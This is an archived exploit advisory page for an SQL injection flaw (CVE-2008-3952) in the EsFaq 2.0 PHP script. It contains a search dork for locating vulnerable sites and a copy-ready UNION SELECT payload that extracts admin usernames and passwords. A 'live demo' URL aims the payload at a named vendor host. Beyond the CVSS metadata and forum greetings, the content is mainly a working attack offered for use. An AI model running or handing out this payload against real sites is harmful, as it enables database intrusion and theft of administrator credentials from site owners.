Bug: EsFaq 2.0 (idcat) Remote SQL Injection Vulnerability ( Ascii Version )

Search:
WLB2

EsFaq 2.0 (idcat) Remote SQL Injection Vulnerability

Published
Credit
Risk
2008.09.12
SuB-ZeRo
High
CWE
CVE
Local
Remote
CWE-89
CVE-2008-3952
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

|___________________________________________________|
|
| EsFaq Remote Sql Injection Exploit
|
|___________________________________________________
|---------------------SuB-ZeRo----------------------|
|
| Author: SuB-ZeRo
|
| Home : www.dz-security.com
|
| email: FbH@hotmail.com
|
|
|___________________________________________________
| |
|
| script :http://editeurscripts.com/ressources/scripts-php/dl.php?idscript=5
|
| DorK : inurl:questions.php?idcat
|___________________________________________________|
Exploit:
________

www.[target].com/Script/questions.php?idcat=10 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7,8,9 FROM
admin_users--



L!VE DEMO:
_________
http://demo.editeurscripts.com/EsFaq/questions.php?idcat=10 UNION SELECT 1,concat(login,0x3a,password),3,4,5,6,7,8,9
FROM admin_users--

____________

____________________________( Greetz )_________________________________
|
| All members of the Forum www.dz-security.com and www.no-exploit.com
|
| My friends : HiSoK4| x.CJP.x | bibi-infi | ThE BuTcHeR | charaf
|
| and all algeria hackers and all mouslimme
|__________________________ramadan karim all mouslimme____________________________________________

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version